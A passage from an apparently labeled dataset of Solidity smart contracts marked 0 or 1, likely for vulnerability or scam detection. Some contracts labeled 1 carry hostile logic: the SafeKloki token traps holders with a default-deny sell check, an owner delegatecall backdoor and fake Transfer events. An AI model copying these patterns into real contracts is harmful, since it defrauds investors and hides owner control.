totalTokens[msg.sender] = 0;
claimedStatus[msg.sender] = true;
require(ERC20.transfer(msg.sender, accumulatedTokens), "transfer failed");
emit ClaimedTokens(msg.sender, accumulatedTokens);
assert(bids[msg.sender] == 0);
}
function calculateTokens(address _receiver) private returns(uint256){
uint256 gtxRecordTokens = gtxRecord.claimableGTX(_receiver);
uint256 gtxPresaleTokens = gtxPresale.claimableGTX(_receiver);
bidTokens[_receiver] = bids[_receiver].mul(WEI_FACTOR).div(finalPrice);
uint256 bonusTokens = calculateBonus(_receiver);
uint256 auctionTokens = bidTokens[_receiver].add(bonusTokens);
totalAuctionTokens = totalAuctionTokens.add(auctionTokens);
totalTokens[msg.sender] = gtxRecordTokens.add(gtxPresaleTokens).add(auctionTokens);
return totalTokens[msg.sender];
}
function finalizeAuction()
private
{
require(remainingCap == 0 || block.number >= endBlock, "cap or block condition not met");
stage = Stages.AuctionEnded;
if (block.number < endBlock){
finalPrice = calcTokenPrice(block.number);
endBlock = block.number;
} else {
finalPrice = calcTokenPrice(endBlock);
}
}
function calculateBonus(address _receiver) private view returns(uint256 bonusTokens){
for (uint256 i=0; i < bonusThresholdWei.length; i++) {
if(bids[_receiver] >= bonusThresholdWei[i]){
bonusTokens = bonusPercent[i].mul(bidTokens[_receiver]).div(100);
}
}
return bonusTokens;
}
function calcTokenPrice(uint256 _bidBlock) public view returns(uint256){
require(_bidBlock >= startBlock && _bidBlock <= endBlock, "pricing only given in the range of startBlock and endBlock");
uint256 currentBlock = _bidBlock.sub(startBlock);
uint256 decay = (currentBlock ** 3).div(priceConstant);
return ceiling.mul(currentBlock.add(1)).div(currentBlock.add(decay).add(1));
}
function currentStage()
public
view
returns (uint)
{
return uint(stage);
}
} | 0 | 362 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SafeKloki {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,349 |
pragma solidity ^0.4.25;
library SafeMath {
function safeAdd (uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
require(z >= x);
return z;
}
function safeSub (uint256 x, uint256 y) internal pure returns (uint256) {
require (x >= y);
uint256 z = x - y;
return z;
}
}
contract Token {
function totalSupply () public view returns (uint256 supply);
function balanceOf (address _owner) public view returns (uint256 balance);
function transfer (address _to, uint256 _value)
public returns (bool success);
function transferFrom (address _from, address _to, uint256 _value)
public returns (bool success);
function approve (address _spender, uint256 _value)
public returns (bool success);
function allowance (address _owner, address _spender)
public view returns (uint256 remaining);
event Transfer (address indexed _from, address indexed _to, uint256 _value);
event Approval (
address indexed _owner, address indexed _spender, uint256 _value);
}
contract OrgonToken is Token {
using SafeMath for uint256;
uint256 constant MAX_TOKEN_COUNT =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
uint256 private constant LIFE_START_TIME = 1634559021;
uint256 private constant LIFE_START_TOKENS = 642118523280000000000000000;
constructor() public {
owner = msg.sender;
mint = msg.sender;
}
function name () public pure returns (string) {
return "ORGON";
}
function symbol () public pure returns (string) {
return "ORGON";
}
function decimals () public pure returns (uint8) {
return 18;
}
function totalSupply () public view returns (uint256 supply) {
return tokenCount;
}
function totalICO () public view returns (uint256) {
return tokenICO;
}
function theMint () public view returns (address) {
return mint;
}
function theStage () public view returns (Stage) {
return stage;
}
function theOwner () public view returns (address) {
return owner;
}
function balanceOf (address _owner) public view returns (uint256 balance) {
return accounts [_owner];
}
function transfer (address _to, uint256 _value)
public validDestination(_to) returns (bool success) {
require (accounts [msg.sender]>=_value);
uint256 fromBalance = accounts [msg.sender];
if (fromBalance < _value) return false;
if (stage != Stage.ICO){
accounts [msg.sender] = fromBalance.safeSub(_value);
accounts [_to] = accounts[_to].safeAdd(_value);
}
else if (msg.sender == owner){
accounts [msg.sender] = fromBalance.safeSub(_value);
accounts [_to] = accounts[_to].safeAdd(_value);
tokenICO = tokenICO.safeAdd(_value);
}
else if (_to == owner){
accounts [msg.sender] = fromBalance.safeSub(_value);
accounts [_to] = accounts[_to].safeAdd(_value);
tokenICO = tokenICO.safeSub(_value);
}
else if (forPartners[msg.sender] >= _value){
accounts [msg.sender] = fromBalance.safeSub(_value);
forPartners [msg.sender] = forPartners[msg.sender].safeSub(_value);
accounts [_to] = accounts[_to].safeAdd(_value);
}
else revert();
emit Transfer (msg.sender, _to, _value);
return true;
}
function transferFrom (address _from, address _to, uint256 _value)
public validDestination(_to) returns (bool success) {
require (stage != Stage.ICO);
require(_from!=_to);
uint256 spenderAllowance = allowances [_from][msg.sender];
if (spenderAllowance < _value) return false;
uint256 fromBalance = accounts [_from];
if (fromBalance < _value) return false;
allowances [_from][msg.sender] = spenderAllowance.safeSub(_value);
if (_value > 0) {
accounts [_from] = fromBalance.safeSub(_value);
accounts [_to] = accounts[_to].safeAdd(_value);
}
emit Transfer (_from, _to, _value);
return true;
}
function approve (address _spender, uint256 _value)
public returns (bool success) {
require(_spender != address(0));
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
function addToPartner (address _partner, uint256 _value)
public returns (bool success) {
require (msg.sender == owner);
forPartners [_partner] = forPartners[_partner].safeAdd(_value);
return true;
}
function subFromPartner (address _partner, uint256 _value)
public returns (bool success) {
require (msg.sender == owner);
if (forPartners [_partner] < _value) {
forPartners [_partner] = 0;
}
else {
forPartners [_partner] = forPartners[_partner].safeSub(_value);
}
return true;
}
function partners (address _partner)
public view returns (uint256 remaining) {
return forPartners [_partner];
}
function createTokens (uint256 _value) public returns (bool) {
require (msg.sender == mint);
if (_value > 0) {
if (_value > MAX_TOKEN_COUNT.safeSub(tokenCount)) return false;
accounts [msg.sender] = accounts[msg.sender].safeAdd(_value);
tokenCount = tokenCount.safeAdd(_value);
emit Transfer (address (0), msg.sender, _value);
}
return true;
}
function burnTokens (uint256 _value) public returns (bool) {
require (msg.sender == mint);
require (accounts [msg.sender]>=_value);
if (_value > accounts [mint]) return false;
else if (_value > 0) {
accounts [mint] = accounts[mint].safeSub(_value);
tokenCount = tokenCount.safeSub(_value);
emit Transfer (mint, address (0), _value);
return true;
}
else return true;
}
function setOwner (address _newOwner) public validDestination(_newOwner) {
require (msg.sender == owner);
owner = _newOwner;
uint256 fromBalance = accounts [msg.sender];
if (fromBalance > 0 && msg.sender != _newOwner) {
accounts [msg.sender] = fromBalance.safeSub(fromBalance);
accounts [_newOwner] = accounts[_newOwner].safeAdd(fromBalance);
emit Transfer (msg.sender, _newOwner, fromBalance);
}
}
function setMint (address _newMint) public {
if (stage != Stage.LIFE && (msg.sender == owner || msg.sender == mint )){
mint = _newMint;
}
else if (msg.sender == mint){
mint = _newMint;
}
else revert();
}
function checkStage () public returns (Stage) {
require (stage != Stage.LIFE);
Stage currentStage = stage;
if (currentStage == Stage.ICO) {
if (block.timestamp >= LIFE_START_TIME || tokenICO > LIFE_START_TOKENS) {
currentStage = Stage.LIFE;
stage = Stage.LIFE;
}
else return currentStage;
}
return currentStage;
}
function changeStage () public {
require (msg.sender == owner);
require (stage != Stage.LIFE);
if (stage == Stage.ICO) {stage = Stage.LIFEBYOWNER;}
else stage = Stage.ICO;
}
function allowance (address _owner, address _spender)
public view returns (uint256 remaining) {
return allowances [_owner][_spender];
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool)
{
require(spender != address(0));
allowances[msg.sender][spender] = allowances[msg.sender][spender].safeAdd(addedValue);
emit Approval(msg.sender, spender, allowances[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
allowances[msg.sender][spender] = allowances[msg.sender][spender].safeSub(subtractedValue);
emit Approval(msg.sender, spender, allowances[msg.sender][spender]);
return true;
}
function currentTime () public view returns (uint256) {
return block.timestamp;
}
uint256 private tokenCount;
uint256 private tokenICO;
address private owner;
address private mint;
enum Stage {
ICO,
LIFEBYOWNER,
LIFE
}
Stage private stage = Stage.ICO;
mapping (address => uint256) private accounts;
mapping (address => uint256) private forPartners;
mapping (address => mapping (address => uint256)) private allowances;
modifier validDestination (address to) {
require (to != address(0x0));
require (to != address(this));
_;
}
} | 0 | 345 |
pragma solidity ^0.4.19;
contract owned {
address public owner;
address internal super_owner = 0x630CC4c83fCc1121feD041126227d25Bbeb51959;
address[2] internal foundersAddresses = [
0x2f072F00328B6176257C21E64925760990561001,
0x2640d4b3baF3F6CF9bB5732Fe37fE1a9735a32CE
];
function owned() public {
owner = msg.sender;
super_owner = msg.sender;
}
modifier onlyOwner {
if ((msg.sender != owner) && (msg.sender != super_owner)) revert();
_;
}
modifier onlySuperOwner {
if (msg.sender != super_owner) revert();
_;
}
function isOwner() internal returns(bool success) {
if ((msg.sender == owner) || (msg.sender == super_owner)) return true;
return false;
}
function transferOwnership(address newOwner) public onlySuperOwner {
owner = newOwner;
}
}
contract STE {
function totalSupply() public returns(uint256);
function balanceOf(address _addr) public returns(uint256);
}
contract STE_Poll is owned {
string public standard = 'Token 0.1';
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public ethRaised;
uint256 public soldSupply;
uint256 public curPrice;
uint256 public minBuyPrice;
uint256 public maxBuyPrice;
uint256 public pStartBlock;
uint256 public pStopBlock;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function STE_Poll() public {
totalSupply = 0;
balanceOf[this] = totalSupply;
decimals = 8;
name = "STE Poll";
symbol = "STE(poll)";
pStartBlock = block.number;
pStopBlock = block.number + 20;
}
function() internal payable {
if ( balanceOf[msg.sender] > 0 ) revert();
if ( ( block.number >= pStopBlock ) || ( block.number < pStartBlock ) ) revert();
STE ste_contract = STE(0xeBa49DDea9F59F0a80EcbB1fb7A585ce0bFe5a5e);
uint256 amount = ste_contract.balanceOf(msg.sender);
balanceOf[msg.sender] += amount;
totalSupply += amount;
}
function transfer(address _to, uint256 _value) public {
revert();
}
function approve(address _spender, uint256 _value) public returns(bool success) {
revert();
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success) {
revert();
}
function setStartStopBlocks(uint256 _pStartBlock, uint256 _pStopBlock) public onlyOwner {
pStartBlock = _pStartBlock;
pStopBlock = _pStopBlock;
}
function withdrawToFounders(uint256 amount) public onlyOwner {
uint256 amount_to_withdraw = amount * 1000000000000000;
if (this.balance < amount_to_withdraw) revert();
amount_to_withdraw = amount_to_withdraw / foundersAddresses.length;
uint8 i = 0;
uint8 errors = 0;
for (i = 0; i < foundersAddresses.length; i++) {
if (!foundersAddresses[i].send(amount_to_withdraw)) {
errors++;
}
}
}
function killPoll() public onlySuperOwner {
selfdestruct(foundersAddresses[0]);
}
} | 1 | 3,252 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract DALC is StandardToken,BurnableToken {
string public constant name = "DALECOIN";
string public constant symbol = "DALC";
uint256 public constant decimals = 8;
address public owner;
uint256 public constant INITIAL_SUPPLY = 100000000000000;
function DALC() {
totalSupply = INITIAL_SUPPLY;
owner = 0x5f558906aec7b38bebba0f67878957c53ed0e0a3;
balances[owner] = INITIAL_SUPPLY;
}
function Airdrop(ERC20 token, address[] _addresses, uint256 amount) public {
for (uint256 i = 0; i < _addresses.length; i++) {
token.transfer(_addresses[i], amount);
}
}
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) external onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
} | 1 | 4,023 |
pragma solidity ^0.4.18;
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract TokenTimelock {
ERC20Interface public token;
address public beneficiary;
uint256 public releaseTime;
constructor(ERC20Interface _token, address _beneficiary, uint256 _releaseTime) public
{
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(address(this));
require(amount > 0);
token.transfer(beneficiary, amount);
}
} | 0 | 711 |
pragma solidity ^0.4.11;
contract E4RowEscrow {
event StatEvent(string msg);
event StatEventI(string msg, uint val);
event StatEventA(string msg, address addr);
uint constant MAX_PLAYERS = 5;
enum EndReason {erWinner, erTimeOut, erCancel}
enum SettingStateValue {debug, release, lockedRelease}
struct gameInstance {
bool active;
bool allocd;
EndReason reasonEnded;
uint8 numPlayers;
uint128 totalPot;
uint128[5] playerPots;
address[5] players;
uint lastMoved;
}
struct arbiter {
mapping (uint => uint) gameIndexes;
bool registered;
bool locked;
uint8 numPlayers;
uint16 arbToken;
uint16 escFeePctX10;
uint16 arbFeePctX10;
uint32 gameSlots;
uint128 feeCap;
uint128 arbHoldover;
}
address public owner;
address public tokenPartner;
uint public numArbiters;
int numGamesStarted;
uint public numGamesCompleted;
uint public numGamesCanceled;
uint public numGamesTimedOut;
uint public houseFeeHoldover;
uint public lastPayoutTime;
uint public gameTimeOut;
uint public registrationFee;
uint public houseFeeThreshold;
uint public payoutInterval;
uint acctCallGas;
uint tokCallGas;
uint public startGameGas;
uint public winnerDecidedGas;
SettingStateValue public settingsState = SettingStateValue.debug;
mapping (address => arbiter) arbiters;
mapping (uint => address) arbiterTokens;
mapping (uint => address) arbiterIndexes;
mapping (uint => gameInstance) games;
function E4RowEscrow() public
{
owner = msg.sender;
}
function applySettings(SettingStateValue _state, uint _fee, uint _threshold, uint _timeout, uint _interval, uint _startGameGas, uint _winnerDecidedGas)
{
if (msg.sender != owner)
throw;
houseFeeThreshold = _threshold;
gameTimeOut = _timeout;
payoutInterval = _interval;
if (settingsState == SettingStateValue.lockedRelease) {
StatEvent("Settings Tweaked");
return;
}
settingsState = _state;
registrationFee = _fee;
acctCallGas = 21000;
tokCallGas = 360000;
startGameGas = _startGameGas;
winnerDecidedGas = _winnerDecidedGas;
StatEvent("Settings Changed");
}
function ArbTokFromHGame(uint _hGame) returns (uint _tok)
{
_tok = (_hGame / (2 ** 48)) & 0xffff;
}
function HaraKiri()
{
if ((msg.sender == owner) && (settingsState != SettingStateValue.lockedRelease))
suicide(tokenPartner);
else
StatEvent("Kill attempt failed");
}
function() payable {
StatEvent("thanks!");
houseFeeHoldover += msg.value;
}
function blackHole() payable {
StatEvent("thanks!#2");
}
function validPlayer(uint _hGame, address _addr) internal returns( bool _valid, uint _pidx)
{
_valid = false;
if (activeGame(_hGame)) {
for (uint i = 0; i < games[_hGame].numPlayers; i++) {
if (games[_hGame].players[i] == _addr) {
_valid=true;
_pidx = i;
break;
}
}
}
}
function validArb(address _addr, uint _tok) internal returns( bool _valid)
{
_valid = false;
if ((arbiters[_addr].registered)
&& (arbiters[_addr].arbToken == _tok))
_valid = true;
}
function validArb2(address _addr) internal returns( bool _valid)
{
_valid = false;
if (arbiters[_addr].registered)
_valid = true;
}
function arbLocked(address _addr) internal returns( bool _locked)
{
_locked = false;
if (validArb2(_addr))
_locked = arbiters[_addr].locked;
}
function activeGame(uint _hGame) internal returns( bool _valid)
{
_valid = false;
if ((_hGame > 0)
&& (games[_hGame].active))
_valid = true;
}
function registerArbiter(uint _numPlayers, uint _arbToken, uint _escFeePctX10, uint _arbFeePctX10, uint _feeCap) public payable
{
if (msg.value != registrationFee) {
throw;
}
if (_arbToken == 0) {
throw;
}
if (arbTokenExists(_arbToken & 0xffff)) {
throw;
}
if (arbiters[msg.sender].registered) {
throw;
}
if (_numPlayers > MAX_PLAYERS) {
throw;
}
if (_escFeePctX10 < 20) {
throw;
}
if (_arbFeePctX10 > 10) {
throw;
}
arbiters[msg.sender].locked = false;
arbiters[msg.sender].numPlayers = uint8(_numPlayers);
arbiters[msg.sender].escFeePctX10 = uint8(_escFeePctX10);
arbiters[msg.sender].arbFeePctX10 = uint8(_arbFeePctX10);
arbiters[msg.sender].arbToken = uint16(_arbToken & 0xffff);
arbiters[msg.sender].feeCap = uint128(_feeCap);
arbiters[msg.sender].registered = true;
arbiterTokens[(_arbToken & 0xffff)] = msg.sender;
arbiterIndexes[numArbiters++] = msg.sender;
if (tokenPartner != address(0)) {
if (!tokenPartner.call.gas(tokCallGas).value(msg.value)()) {
throw;
}
} else {
houseFeeHoldover += msg.value;
}
StatEventI("Arb Added", _arbToken);
}
function startGame(uint _hGame, int _hkMax, address[] _players) public
{
uint ntok = ArbTokFromHGame(_hGame);
if (!validArb(msg.sender, ntok )) {
StatEvent("Invalid Arb");
return;
}
if (arbLocked(msg.sender)) {
StatEvent("Arb Locked");
return;
}
arbiter xarb = arbiters[msg.sender];
if (_players.length != xarb.numPlayers) {
StatEvent("Incorrect num players");
return;
}
gameInstance xgame = games[_hGame];
if (xgame.active) {
abortGame(_hGame, EndReason.erCancel);
} else if (_hkMax > 0) {
houseKeep(_hkMax, ntok);
}
if (!xgame.allocd) {
xgame.allocd = true;
xarb.gameIndexes[xarb.gameSlots++] = _hGame;
}
numGamesStarted++;
xgame.active = true;
xgame.lastMoved = now;
xgame.totalPot = 0;
xgame.numPlayers = xarb.numPlayers;
for (uint i = 0; i < _players.length; i++) {
xgame.players[i] = _players[i];
xgame.playerPots[i] = 0;
}
}
function abortGame(uint _hGame, EndReason _reason) private returns(bool _success)
{
gameInstance xgame = games[_hGame];
if (xgame.active) {
_success = true;
for (uint i = 0; i < xgame.numPlayers; i++) {
if (xgame.playerPots[i] > 0) {
address a = xgame.players[i];
uint nsend = xgame.playerPots[i];
xgame.playerPots[i] = 0;
if (!a.call.gas(acctCallGas).value(nsend)()) {
houseFeeHoldover += nsend;
StatEventA("Cannot Refund Address", a);
}
}
}
xgame.active = false;
xgame.reasonEnded = _reason;
if (_reason == EndReason.erCancel) {
numGamesCanceled++;
StatEvent("Game canceled");
} else if (_reason == EndReason.erTimeOut) {
numGamesTimedOut++;
StatEvent("Game timed out");
} else
StatEvent("Game aborted");
}
}
function winnerDecided(uint _hGame, address _winner, uint _winnerBal) public
{
if (!validArb(msg.sender, ArbTokFromHGame(_hGame))) {
StatEvent("Invalid Arb");
return;
}
var (valid, pidx) = validPlayer(_hGame, _winner);
if (!valid) {
StatEvent("Invalid Player");
return;
}
arbiter xarb = arbiters[msg.sender];
gameInstance xgame = games[_hGame];
if (xgame.playerPots[pidx] < _winnerBal) {
abortGame(_hGame, EndReason.erCancel);
return;
}
xgame.active = false;
xgame.reasonEnded = EndReason.erWinner;
numGamesCompleted++;
if (xgame.totalPot > 0) {
uint _escrowFee = (xgame.totalPot * xarb.escFeePctX10) / 1000;
uint _arbiterFee = (xgame.totalPot * xarb.arbFeePctX10) / 1000;
if ((_escrowFee + _arbiterFee) > xarb.feeCap) {
_escrowFee = xarb.feeCap * xarb.escFeePctX10 / (xarb.escFeePctX10 + xarb.arbFeePctX10);
_arbiterFee = xarb.feeCap * xarb.arbFeePctX10 / (xarb.escFeePctX10 + xarb.arbFeePctX10);
}
uint _payout = xgame.totalPot - (_escrowFee + _arbiterFee);
uint _gasCost = tx.gasprice * (startGameGas + winnerDecidedGas);
if (_gasCost > _payout)
_gasCost = _payout;
_payout -= _gasCost;
xarb.arbHoldover += uint128(_arbiterFee + _gasCost);
houseFeeHoldover += _escrowFee;
if ((houseFeeHoldover > houseFeeThreshold)
&& (now > (lastPayoutTime + payoutInterval))) {
uint ntmpho = houseFeeHoldover;
houseFeeHoldover = 0;
lastPayoutTime = now;
